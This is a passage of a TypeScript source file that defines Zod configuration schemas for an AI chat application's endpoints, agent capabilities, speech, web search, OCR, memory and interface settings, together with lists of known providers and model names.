ExtractDefaults<SchemaShape<Schema>>;\n}\n\nexport const modelConfigSchema = z\n .object({\n deploymentName: z.string().optional(),\n version: z.string().optional(),\n assistants: z.boolean().optional(),\n })\n .or(z.boolean());\n\nexport type TAzureModelConfig = z.infer<typeof modelConfigSchema>;\n\nexport const azureBaseSchema = z.object({\n apiKey: z.string(),\n serverless: z.boolean().optional(),\n instanceName: z.string().optional(),\n deploymentName: z.string().optional(),\n assistants: z.boolean().optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n version: z.string().optional(),\n baseURL: z.string().optional(),\n additionalHeaders: z.record(z.any()).optional(),\n});\n\nexport type TAzureBaseSchema = z.infer<typeof azureBaseSchema>;\n\nexport const azureGroupSchema = z\n .object({\n group: z.string(),\n models: z.record(z.string(), modelConfigSchema),\n })\n .required()\n .and(azureBaseSchema);\n\nexport const azureGroupConfigsSchema = z.array(azureGroupSchema).min(1);\nexport type TAzureGroup = z.infer<typeof azureGroupSchema>;\nexport type TAzureGroups = z.infer<typeof azureGroupConfigsSchema>;\nexport type TAzureModelMapSchema = {\n // deploymentName?: string;\n // version?: string;\n group: string;\n};\n\nexport type TAzureModelGroupMap = Record<string, TAzureModelMapSchema | undefined>;\nexport type TAzureGroupMap = Record<\n string,\n (TAzureBaseSchema & { models: Record<string, TAzureModelConfig | undefined> }) | undefined\n>;\n\nexport type TValidatedAzureConfig = {\n modelNames: string[];\n groupMap: TAzureGroupMap;\n assistantModels?: string[];\n assistantGroups?: string[];\n modelGroupMap: TAzureModelGroupMap;\n};\n\nexport type TAzureConfigValidationResult = TValidatedAzureConfig & {\n isValid: boolean;\n errors: (ZodError | string)[];\n};\n\nexport enum Capabilities {\n code_interpreter = 'code_interpreter',\n image_vision = 'image_vision',\n retrieval = 'retrieval',\n actions = 'actions',\n tools = 'tools',\n}\n\nexport enum AgentCapabilities {\n hide_sequential_outputs = 'hide_sequential_outputs',\n programmatic_tools = 'programmatic_tools',\n end_after_tools = 'end_after_tools',\n deferred_tools = 'deferred_tools',\n execute_code = 'execute_code',\n file_search = 'file_search',\n web_search = 'web_search',\n artifacts = 'artifacts',\n actions = 'actions',\n context = 'context',\n tools = 'tools',\n chain = 'chain',\n ocr = 'ocr',\n}\n\nexport const defaultAssistantsVersion = {\n [EModelEndpoint.assistants]: 2,\n [EModelEndpoint.azureAssistants]: 1,\n};\n\nexport const baseEndpointSchema = z.object({\n streamRate: z.number().optional(),\n baseURL: z.string().optional(),\n titlePrompt: z.string().optional(),\n titleModel: z.string().optional(),\n titleConvo: z.boolean().optional(),\n titleMethod: z\n .union([z.literal('completion'), z.literal('functions'), z.literal('structured')])\n .optional(),\n titleEndpoint: z.string().optional(),\n titlePromptTemplate: z.string().optional(),\n /** Maximum characters allowed in a single tool result before truncation. */\n maxToolResultChars: z.number().positive().optional(),\n});\n\nexport type TBaseEndpoint = z.infer<typeof baseEndpointSchema>;\n\nexport const bedrockEndpointSchema = baseEndpointSchema.merge(\n z.object({\n availableRegions: z.array(z.string()).optional(),\n models: z.array(z.string()).optional(),\n inferenceProfiles: z.record(z.string(), z.string()).optional(),\n }),\n);\n\nconst modelItemSchema = z.union([\n z.string(),\n z.object({\n name: z.string(),\n description: z.string().optional(),\n }),\n]);\n\nexport const assistantEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /* assistants specific */\n disableBuilder: z.boolean().optional(),\n pollIntervalMs: z.number().optional(),\n timeoutMs: z.number().optional(),\n version: z.union([z.string(), z.number()]).default(2),\n supportedIds: z.array(z.string()).min(1).optional(),\n excludedIds: z.array(z.string()).min(1).optional(),\n privateAssistants: z.boolean().optional(),\n retrievalModels: z.array(z.string()).min(1).optional().default(defaultRetrievalModels),\n capabilities: z\n .array(z.nativeEnum(Capabilities))\n .optional()\n .default([\n Capabilities.code_interpreter,\n Capabilities.image_vision,\n Capabilities.retrieval,\n Capabilities.actions,\n Capabilities.tools,\n ]),\n /* general */\n apiKey: z.string().optional(),\n models: z\n .object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n })\n .optional(),\n headers: z.record(z.any()).optional(),\n }),\n);\n\nexport type TAssistantEndpoint = z.infer<typeof assistantEndpointSchema>;\n\nexport const defaultAgentCapabilities = [\n // Commented as requires latest Code Interpreter API\n // AgentCapabilities.programmatic_tools,\n AgentCapabilities.deferred_tools,\n AgentCapabilities.execute_code,\n AgentCapabilities.file_search,\n AgentCapabilities.web_search,\n AgentCapabilities.artifacts,\n AgentCapabilities.actions,\n AgentCapabilities.context,\n AgentCapabilities.tools,\n AgentCapabilities.chain,\n AgentCapabilities.ocr,\n];\n\nexport const agentsEndpointSchema = baseEndpointSchema\n .omit({ baseURL: true })\n .merge(\n z.object({\n /* agents specific */\n recursionLimit: z.number().optional(),\n disableBuilder: z.boolean().optional().default(false),\n maxRecursionLimit: z.number().optional(),\n maxCitations: z.number().min(1).max(50).optional().default(30),\n maxCitationsPerFile: z.number().min(1).max(10).optional().default(7),\n minRelevanceScore: z.number().min(0.0).max(1.0).optional().default(0.45),\n allowedProviders: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n capabilities: z\n .array(z.nativeEnum(AgentCapabilities))\n .optional()\n .default(defaultAgentCapabilities),\n }),\n )\n .default({\n disableBuilder: false,\n capabilities: defaultAgentCapabilities,\n maxCitations: 30,\n maxCitationsPerFile: 7,\n minRelevanceScore: 0.45,\n });\n\nexport type TAgentsEndpoint = z.infer<typeof agentsEndpointSchema>;\n\nexport const endpointSchema = baseEndpointSchema.merge(\n z.object({\n name: z.string().refine((value) => !eModelEndpointSchema.safeParse(value).success, {\n message: `Value cannot be one of the default endpoint (EModelEndpoint) values: ${Object.values(\n EModelEndpoint,\n ).join(', ')}`,\n }),\n apiKey: z.string(),\n baseURL: z.string(),\n models: z.object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n }),\n iconURL: z.string().optional(),\n modelDisplayLabel: z.string().optional(),\n headers: z.record(z.any()).optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n customParams: z\n .object({\n defaultParamsEndpoint: z.string().default('custom'),\n paramDefinitions: z\n .array(\n z.object({\n key: z.string(),\n description: z.string().optional(),\n type: z.nativeEnum(SettingTypes).optional(),\n default: z\n .union([z.number(), z.boolean(), z.string(), z.array(z.string())])\n .optional(),\n showLabel: z.boolean().optional(),\n showDefault: z.boolean().optional(),\n options: z.array(z.string()).optional(),\n range: z\n .object({\n min: z.number(),\n max: z.number(),\n step: z.number().optional(),\n })\n .optional(),\n enumMappings: z.record(z.union([z.number(), z.boolean(), z.string()])).optional(),\n component: z.nativeEnum(ComponentTypes).optional(),\n optionType: z.nativeEnum(OptionTypes).optional(),\n columnSpan: z.number().optional(),\n columns: z.number().min(1).max(4).optional(),\n label: z.string().optional(),\n placeholder: z.string().optional(),\n labelCode: z.boolean().optional(),\n placeholderCode: z.boolean().optional(),\n descriptionCode: z.boolean().optional(),\n minText: z.number().optional(),\n maxText: z.number().optional(),\n minTags: z.number().min(0).optional(),\n maxTags: z.number().min(0).optional(),\n includeInput: z.boolean().optional(),\n descriptionSide: z.enum(['top', 'right', 'bottom', 'left']).optional(),\n searchPlaceholder: z.string().optional(),\n selectPlaceholder: z.string().optional(),\n searchPlaceholderCode: z.boolean().optional(),\n selectPlaceholderCode: z.boolean().optional(),\n }),\n )\n .optional(),\n })\n .strict()\n .optional(),\n directEndpoint: z.boolean().optional(),\n titleMessageRole: z.string().optional(),\n }),\n);\n\nexport type TEndpoint = z.infer<typeof endpointSchema>;\n\nexport const azureEndpointSchema = z\n .object({\n groups: azureGroupConfigsSchema,\n assistants: z.boolean().optional(),\n })\n .and(\n endpointSchema\n .pick({\n streamRate: true,\n titleConvo: true,\n titleMethod: true,\n titleModel: true,\n titlePrompt: true,\n titlePromptTemplate: true,\n })\n .partial(),\n );\n\nexport type TAzureConfig = Omit<z.infer<typeof azureEndpointSchema>, 'groups'> &\n TAzureConfigValidationResult;\n\n/**\n * Vertex AI model configuration - similar to Azure model config\n * Allows specifying deployment name for each model\n */\nexport const vertexModelConfigSchema = z\n .object({\n /** The actual model ID/deployment name used by Vertex AI API */\n deploymentName: z.string().optional(),\n })\n .or(z.boolean());\n\nexport type TVertexModelConfig = z.infer<typeof vertexModelConfigSchema>;\n\n/**\n * Vertex AI configuration schema for Anthropic models served via Google Cloud Vertex AI.\n * Similar to Azure configuration, this allows running Anthropic models through Google Cloud.\n */\nexport const vertexAISchema = z.object({\n /** Enable Vertex AI mode for Anthropic (defaults to true when vertex config is present) */\n enabled: z.boolean().optional(),\n /** Google Cloud Project ID (optional - auto-detected from service key file if not provided) */\n projectId: z.string().optional(),\n /** Vertex AI region (e.g., 'us-east5', 'europe-west1') */\n region: z.string().default('us-east5'),\n /** Optional: Path to service account key file */\n serviceKeyFile: z.string().optional(),\n /** Optional: Default deployment name for all models (can be overridden per model) */\n deploymentName: z.string().optional(),\n /** Optional: Available models - can be string array or object with deploymentName mapping */\n models: z.union([z.array(z.string()), z.record(z.string(), vertexModelConfigSchema)]).optional(),\n});\n\nexport type TVertexAISchema = z.infer<typeof vertexAISchema>;\n\nexport type TVertexModelMap = Record<string, string>;\n\n/**\n * Validated Vertex AI configuration result\n */\nexport type TVertexAIConfig = TVertexAISchema & {\n isValid: boolean;\n errors: string[];\n modelNames?: string[];\n modelDeploymentMap?: TVertexModelMap;\n};\n\n/**\n * Anthropic endpoint schema with optional Vertex AI configuration.\n * Extends baseEndpointSchema with Vertex AI support.\n */\nexport const anthropicEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /** Vertex AI configuration for running Anthropic models on Google Cloud */\n vertex: vertexAISchema.optional(),\n /** Optional: List of available models */\n models: z.array(z.string()).optional(),\n }),\n);\n\nexport type TAnthropicEndpoint = z.infer<typeof anthropicEndpointSchema>;\n\nconst ttsOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsElevenLabsSchema = z.object({\n url: z.string().optional(),\n websocketUrl: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n voice_settings: z\n .object({\n similarity_boost: z.number().optional(),\n stability: z.number().optional(),\n style: z.number().optional(),\n use_speaker_boost: z.boolean().optional(),\n })\n .optional(),\n pronunciation_dictionary_locators: z.array(z.string()).optional(),\n});\n\nconst ttsLocalaiSchema = z.object({\n url: z.string(),\n apiKey: z.string().optional(),\n voices: z.array(z.string()),\n backend: z.string(),\n});\n\nconst ttsSchema = z.object({\n openai: ttsOpenaiSchema.optional(),\n azureOpenAI: ttsAzureOpenAISchema.optional(),\n elevenlabs: ttsElevenLabsSchema.optional(),\n localai: ttsLocalaiSchema.optional(),\n});\n\nconst sttOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n});\n\nconst sttAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n});\n\nconst sttSchema = z.object({\n openai: sttOpenaiSchema.optional(),\n azureOpenAI: sttAzureOpenAISchema.optional(),\n});\n\nconst speechTab = z\n .object({\n conversationMode: z.boolean().optional(),\n advancedMode: z.boolean().optional(),\n speechToText: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineSTT: z.string().optional(),\n languageSTT: z.string().optional(),\n autoTranscribeAudio: z.boolean().optional(),\n decibelValue: z.number().optional(),\n autoSendText: z.number().optional(),\n }),\n )\n .optional(),\n textToSpeech: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineTTS: z.string().optional(),\n voice: z.string().optional(),\n languageTTS: z.string().optional(),\n automaticPlayback: z.boolean().optional(),\n playbackRate: z.number().optional(),\n cacheTTS: z.boolean().optional(),\n }),\n )\n .optional(),\n })\n .optional();\n\nexport enum RateLimitPrefix {\n FILE_UPLOAD = 'FILE_UPLOAD',\n IMPORT = 'IMPORT',\n TTS = 'TTS',\n STT = 'STT',\n}\n\nexport const rateLimitSchema = z.object({\n fileUploads: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n conversationsImport: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n tts: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n stt: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n});\n\nexport enum EImageOutputType {\n PNG = 'png',\n WEBP = 'webp',\n JPEG = 'jpeg',\n}\n\nconst termsOfServiceSchema = z.object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n modalAcceptance: z.boolean().optional(),\n modalTitle: z.string().optional(),\n modalContent: z.string().or(z.array(z.string())).optional(),\n});\n\nexport type TTermsOfService = z.infer<typeof termsOfServiceSchema>;\n\n// Schema for localized string (either simple string or language-keyed object)\nconst localizedStringSchema = z.union([z.string(), z.record(z.string())]);\nexport type LocalizedString = z.infer<typeof localizedStringSchema>;\n\nconst mcpServersSchema = z\n .object({\n placeholder: z.string().optional(),\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n trustCheckbox: z\n .object({\n label: localizedStringSchema.optional(),\n subLabel: localizedStringSchema.optional(),\n })\n .optional(),\n })\n .optional();\n\nexport type TMcpServersConfig = z.infer<typeof mcpServersSchema>;\n\nexport const interfaceSchema = z\n .object({\n privacyPolicy: z\n .object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n })\n .optional(),\n termsOfService: termsOfServiceSchema.optional(),\n customWelcome: z.string().optional(),\n mcpServers: mcpServersSchema.optional(),\n endpointsMenu: z.boolean().optional(),\n modelSelect: z.boolean().optional(),\n parameters: z.boolean().optional(),\n sidePanel: z.boolean().optional(),\n multiConvo: z.boolean().optional(),\n bookmarks: z.boolean().optional(),\n memories: z.boolean().optional(),\n presets: z.boolean().optional(),\n prompts: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n agents: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n temporaryChat: z.boolean().optional(),\n temporaryChatRetention: z.number().min(1).max(8760).optional(),\n runCode: z.boolean().optional(),\n webSearch: z.boolean().optional(),\n peoplePicker: z\n .object({\n users: z.boolean().optional(),\n groups: z.boolean().optional(),\n roles: z.boolean().optional(),\n })\n .optional(),\n marketplace: z\n .object({\n use: z.boolean().optional(),\n })\n .optional(),\n fileSearch: z.boolean().optional(),\n fileCitations: z.boolean().optional(),\n remoteAgents: z\n .object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n })\n .optional(),\n })\n .default({\n endpointsMenu: true,\n modelSelect: true,\n parameters: true,\n sidePanel: true,\n presets: true,\n multiConvo: true,\n bookmarks: true,\n memories: true,\n prompts: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n agents: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n temporaryChat: true,\n runCode: true,\n webSearch: true,\n peoplePicker: {\n users: true,\n groups: true,\n roles: true,\n },\n marketplace: {\n use: false,\n },\n mcpServers: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n fileSearch: true,\n fileCitations: true,\n remoteAgents: {\n use: false,\n create: false,\n share: false,\n public: false,\n },\n });\n\nexport type TInterfaceConfig = z.infer<typeof interfaceSchema>;\nexport type TBalanceConfig = z.infer<typeof balanceSchema>;\nexport type TTransactionsConfig = z.infer<typeof transactionsSchema>;\n\nexport const turnstileOptionsSchema = z\n .object({\n language: z.string().default('auto'),\n size: z.enum(['normal', 'compact', 'flexible', 'invisible']).default('normal'),\n })\n .default({\n language: 'auto',\n size: 'normal',\n });\n\nexport const turnstileSchema = z.object({\n siteKey: z.string(),\n options: turnstileOptionsSchema.optional(),\n});\n\nexport type TTurnstileConfig = z.infer<typeof turnstileSchema>;\n\nexport type TStartupConfig = {\n appTitle: string;\n socialLogins?: string[];\n interface?: TInterfaceConfig;\n turnstile?: TTurnstileConfig;\n balance?: TBalanceConfig;\n transactions?: TTransactionsConfig;\n discordLoginEnabled: boolean;\n facebookLoginEnabled: boolean;\n githubLoginEnabled: boolean;\n googleLoginEnabled: boolean;\n openidLoginEnabled: boolean;\n appleLoginEnabled: boolean;\n samlLoginEnabled: boolean;\n openidLabel: string;\n openidImageUrl: string;\n openidAutoRedirect: boolean;\n samlLabel: string;\n samlImageUrl: string;\n /** LDAP Auth Configuration */\n ldap?: {\n /** LDAP enabled */\n enabled: boolean;\n /** Whether LDAP uses username vs. email */\n username?: boolean;\n };\n serverDomain: string;\n emailLoginEnabled: boolean;\n registrationEnabled: boolean;\n socialLoginEnabled: boolean;\n passwordResetEnabled: boolean;\n emailEnabled: boolean;\n showBirthdayIcon: boolean;\n helpAndFaqURL: string;\n customFooter?: string;\n modelSpecs?: TSpecsConfig;\n modelDescriptions?: Record<string, Record<string, string>>;\n sharedLinksEnabled: boolean;\n publicSharedLinksEnabled: boolean;\n analyticsGtmId?: string;\n bundlerURL?: string;\n staticBundlerURL?: string;\n sharePointFilePickerEnabled?: boolean;\n sharePointBaseUrl?: string;\n sharePointPickerGraphScope?: string;\n sharePointPickerSharePointScope?: string;\n openidReuseTokens?: boolean;\n minPasswordLength?: number;\n webSearch?: {\n searchProvider?: SearchProviders;\n scraperProvider?: ScraperProviders;\n rerankerType?: RerankerTypes;\n };\n mcpServers?: Record<\n string,\n {\n customUserVars: Record<\n string,\n {\n title: string;\n description: string;\n }\n >;\n chatMenu?: boolean;\n isOAuth?: boolean;\n startup?: boolean;\n iconPath?: string;\n }\n >;\n mcpPlaceholder?: string;\n conversationImportMaxFileSize?: number;\n};\n\nexport enum OCRStrategy {\n MISTRAL_OCR = 'mistral_ocr',\n CUSTOM_OCR = 'custom_ocr',\n AZURE_MISTRAL_OCR = 'azure_mistral_ocr',\n VERTEXAI_MISTRAL_OCR = 'vertexai_mistral_ocr',\n DOCUMENT_PARSER = 'document_parser',\n}\n\nexport enum SearchCategories {\n PROVIDERS = 'providers',\n SCRAPERS = 'scrapers',\n RERANKERS = 'rerankers',\n}\n\nexport enum SearchProviders {\n SERPER = 'serper',\n SEARXNG = 'searxng',\n}\n\nexport enum ScraperProviders {\n FIRECRAWL = 'firecrawl',\n SERPER = 'serper',\n}\n\nexport enum RerankerTypes {\n JINA = 'jina',\n COHERE = 'cohere',\n}\n\nexport enum SafeSearchTypes {\n OFF = 0,\n MODERATE = 1,\n STRICT = 2,\n}\n\nexport const webSearchSchema = z.object({\n serperApiKey: z.string().optional().default('${SERPER_API_KEY}'),\n searxngInstanceUrl: z.string().optional().default('${SEARXNG_INSTANCE_URL}'),\n searxngApiKey: z.string().optional().default('${SEARXNG_API_KEY}'),\n firecrawlApiKey: z.string().optional().default('${FIRECRAWL_API_KEY}'),\n firecrawlApiUrl: z.string().optional().default('${FIRECRAWL_API_URL}'),\n firecrawlVersion: z.string().optional().default('${FIRECRAWL_VERSION}'),\n jinaApiKey: z.string().optional().default('${JINA_API_KEY}'),\n jinaApiUrl: z.string().optional().default('${JINA_API_URL}'),\n cohereApiKey: z.string().optional().default('${COHERE_API_KEY}'),\n searchProvider: z.nativeEnum(SearchProviders).optional(),\n scraperProvider: z.nativeEnum(ScraperProviders).optional(),\n rerankerType: z.nativeEnum(RerankerTypes).optional(),\n scraperTimeout: z.number().optional(),\n safeSearch: z.nativeEnum(SafeSearchTypes).default(SafeSearchTypes.MODERATE),\n firecrawlOptions: z\n .object({\n formats: z.array(z.string()).optional(),\n includeTags: z.array(z.string()).optional(),\n excludeTags: z.array(z.string()).optional(),\n headers: z.record(z.string()).optional(),\n waitFor: z.number().optional(),\n timeout: z.number().optional(),\n maxAge: z.number().optional(),\n mobile: z.boolean().optional(),\n skipTlsVerification: z.boolean().optional(),\n blockAds: z.boolean().optional(),\n removeBase64Images: z.boolean().optional(),\n parsePDF: z.boolean().optional(),\n storeInCache: z.boolean().optional(),\n zeroDataRetention: z.boolean().optional(),\n location: z\n .object({\n country: z.string().optional(),\n languages: z.array(z.string()).optional(),\n })\n .optional(),\n onlyMainContent: z.boolean().optional(),\n changeTrackingOptions: z\n .object({\n modes: z.array(z.string()).optional(),\n schema: z.record(z.unknown()).optional(),\n prompt: z.string().optional(),\n tag: z.string().nullable().optional(),\n })\n .optional(),\n })\n .optional(),\n});\n\nexport type TWebSearchConfig = DeepPartial<z.infer<typeof webSearchSchema>>;\n\nexport const ocrSchema = z.object({\n mistralModel: z.string().optional(),\n apiKey: z.string().optional().default('${OCR_API_KEY}'),\n baseURL: z.string().optional().default('${OCR_BASEURL}'),\n strategy: z.nativeEnum(OCRStrategy).default(OCRStrategy.MISTRAL_OCR),\n});\n\nexport const balanceSchema = z.object({\n enabled: z.boolean().optional().default(false),\n startBalance: z.number().optional().default(20000),\n autoRefillEnabled: z.boolean().optional().default(false),\n refillIntervalValue: z.number().optional().default(30),\n refillIntervalUnit: z\n .enum(['seconds', 'minutes', 'hours', 'days', 'weeks', 'months'])\n .optional()\n .default('days'),\n refillAmount: z.number().optional().default(10000),\n});\n\nexport const transactionsSchema = z.object({\n enabled: z.boolean().optional().default(true),\n});\n\nexport const memorySchema = z.object({\n disabled: z.boolean().optional(),\n validKeys: z.array(z.string()).optional(),\n tokenLimit: z.number().optional(),\n charLimit: z.number().optional().default(10000),\n personalize: z.boolean().default(true),\n messageWindowSize: z.number().optional().default(5),\n agent: z\n .union([\n z.object({\n id: z.string(),\n }),\n z.object({\n provider: z.string(),\n model: z.string(),\n instructions: z.string().optional(),\n model_parameters: z.record(z.any()).optional(),\n }),\n ])\n .optional(),\n});\n\nexport type TMemoryConfig = DeepPartial<z.infer<typeof memorySchema>>;\n\nexport const summarizationTriggerSchema = z.object({\n type: z.enum(['token_count']),\n value: z.number().positive(),\n});\n\nexport const contextPruningSchema = z.object({\n enabled: z.boolean().optional(),\n keepLastAssistants: z.number().min(0).max(10).optional(),\n softTrimRatio: z.number().min(0).max(1).optional(),\n hardClearRatio: z.number().min(0).max(1).optional(),\n minPrunableToolChars: z.number().min(0).optional(),\n});\n\nexport const summarizationConfigSchema = z.object({\n enabled: z.boolean().optional(),\n provider: z.string().optional(),\n model: z.string().optional(),\n parameters: z.record(z.union([z.string(), z.number(), z.boolean(), z.null()])).optional(),\n trigger: summarizationTriggerSchema.optional(),\n prompt: z.string().optional(),\n updatePrompt: z.string().optional(),\n reserveRatio: z.number().min(0).max(1).optional(),\n maxSummaryTokens: z.number().positive().optional(),\n contextPruning: contextPruningSchema.optional(),\n});\n\nexport type SummarizationConfig = z.infer<typeof summarizationConfigSchema>;\n\nconst customEndpointsSchema = z.array(endpointSchema.partial()).optional();\n\nexport const configSchema = z.object({\n version: z.string(),\n cache: z.boolean().default(true),\n ocr: ocrSchema.optional(),\n webSearch: webSearchSchema.optional(),\n memory: memorySchema.optional(),\n summarization: summarizationConfigSchema.optional(),\n secureImageLinks: z.boolean().optional(),\n imageOutputType: z.nativeEnum(EImageOutputType).default(EImageOutputType.PNG),\n includedTools: z.array(z.string()).optional(),\n filteredTools: z.array(z.string()).optional(),\n mcpServers: MCPServersSchema.optional(),\n mcpSettings: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n interface: interfaceSchema,\n turnstile: turnstileSchema.optional(),\n fileStrategy: fileSourceSchema.default(FileSources.local),\n fileStrategies: fileStrategiesSchema,\n actions: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n registration: z\n .object({\n socialLogins: z.array(z.string()).optional(),\n allowedDomains: z.array(z.string()).optional(),\n })\n .default({ socialLogins: defaultSocialLogins }),\n balance: balanceSchema.optional(),\n transactions: transactionsSchema.optional(),\n speech: z\n .object({\n tts: ttsSchema.optional(),\n stt: sttSchema.optional(),\n speechTab: speechTab.optional(),\n })\n .optional(),\n rateLimits: rateLimitSchema.optional(),\n fileConfig: fileConfigSchema.optional(),\n modelSpecs: specsConfigSchema.optional(),\n endpoints: z\n .object({\n all: baseEndpointSchema.omit({ baseURL: true }).optional(),\n [EModelEndpoint.openAI]: baseEndpointSchema.optional(),\n [EModelEndpoint.google]: baseEndpointSchema.optional(),\n [EModelEndpoint.anthropic]: anthropicEndpointSchema.optional(),\n [EModelEndpoint.azureOpenAI]: azureEndpointSchema.optional(),\n [EModelEndpoint.azureAssistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.assistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.agents]: agentsEndpointSchema.optional(),\n [EModelEndpoint.custom]: customEndpointsSchema.optional(),\n [EModelEndpoint.bedrock]: bedrockEndpointSchema.optional(),\n })\n .strict()\n .refine((data) => Object.keys(data).length > 0, {\n message: 'At least one `endpoints` field must be provided.',\n })\n .optional(),\n});\n\n/**\n * Recursively makes all properties of T optional, including nested objects.\n * Handles arrays, primitives, functions, and Date objects correctly.\n */\nexport type DeepPartial<T> = T extends (infer U)[]\n ? DeepPartial<U>[]\n : T extends ReadonlyArray<infer U>\n ? ReadonlyArray<DeepPartial<U>>\n : // eslint-disable-next-line @typescript-eslint/no-unsafe-function-type\n T extends Function\n ? T\n : T extends Date\n ? T\n : T extends object\n ? {\n [P in keyof T]?: DeepPartial<T[P]>;\n }\n : T;\n\nexport const getConfigDefaults = () => getSchemaDefaults(configSchema);\nexport type TCustomConfig = DeepPartial<z.infer<typeof configSchema>>;\nexport type TCustomEndpoints = z.infer<typeof customEndpointsSchema>;\n\nexport type TProviderSchema =\n | z.infer<typeof ttsOpenaiSchema>\n | z.infer<typeof ttsElevenLabsSchema>\n | z.infer<typeof ttsLocalaiSchema>\n | undefined;\n\nexport enum KnownEndpoints {\n anyscale = 'anyscale',\n apipie = 'apipie',\n cohere = 'cohere',\n fireworks = 'fireworks',\n deepseek = 'deepseek',\n moonshot = 'moonshot',\n groq = 'groq',\n helicone = 'helicone',\n huggingface = 'huggingface',\n mistral = 'mistral',\n mlx = 'mlx',\n ollama = 'ollama',\n openrouter = 'openrouter',\n perplexity = 'perplexity',\n shuttleai = 'shuttleai',\n 'together.ai' = 'together.ai',\n unify = 'unify',\n vercel = 'vercel',\n xai = 'xai',\n}\n\nexport enum FetchTokenConfig {\n openrouter = KnownEndpoints.openrouter,\n helicone = KnownEndpoints.helicone,\n}\n\nexport const defaultEndpoints: EModelEndpoint[] = [\n EModelEndpoint.openAI,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.agents,\n EModelEndpoint.google,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.bedrock,\n];\n\nexport const alternateName = {\n [EModelEndpoint.openAI]: 'OpenAI',\n [EModelEndpoint.assistants]: 'Assistants',\n [EModelEndpoint.agents]: 'My Agents',\n [EModelEndpoint.azureAssistants]: 'Azure Assistants',\n [EModelEndpoint.azureOpenAI]: 'Azure OpenAI',\n [EModelEndpoint.google]: 'Google',\n [EModelEndpoint.anthropic]: 'Anthropic',\n [EModelEndpoint.custom]: 'Custom',\n [EModelEndpoint.bedrock]: 'AWS Bedrock',\n [KnownEndpoints.ollama]: 'Ollama',\n [KnownEndpoints.deepseek]: 'DeepSeek',\n [KnownEndpoints.moonshot]: 'Moonshot',\n [KnownEndpoints.xai]: 'xAI',\n [KnownEndpoints.vercel]: 'Vercel',\n [KnownEndpoints.helicone]: 'Helicone',\n};\n\nconst sharedOpenAIModels = [\n 'gpt-5.4',\n // TODO: gpt-5.4-thinking may have separate reasoning token pricing — verify before release\n 'gpt-5.4-thinking',\n 'gpt-5.4-pro',\n 'gpt-5.1',\n 'gpt-5.1-chat-latest',\n 'gpt-5.1-codex',\n 'gpt-5.1-codex-mini',\n 'gpt-5',\n 'gpt-5-mini',\n 'gpt-5-nano',\n 'gpt-5-chat-latest',\n 'gpt-4.1',\n 'gpt-4.1-mini',\n 'gpt-4.1-nano',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4.5-preview',\n 'gpt-4.5-preview-2025-02-27',\n 'gpt-3.5-turbo',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-turbo-2024-04-09',\n 'gpt-4-0125-preview',\n 'gpt-4-turbo-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 'gpt-3.5-turbo-16k-0613',\n 'gpt-3.5-turbo-16k',\n 'gpt-4',\n 'gpt-4-0314',\n 'gpt-4-32k-0314',\n 'gpt-4-0613',\n 'gpt-3.5-turbo-0613',\n];\n\nconst sharedAnthropicModels = [\n 'claude-sonnet-4-6',\n 'claude-opus-4-6',\n 'claude-sonnet-4-5',\n 'claude-sonnet-4-5-20250929',\n 'claude-haiku-4-5',\n 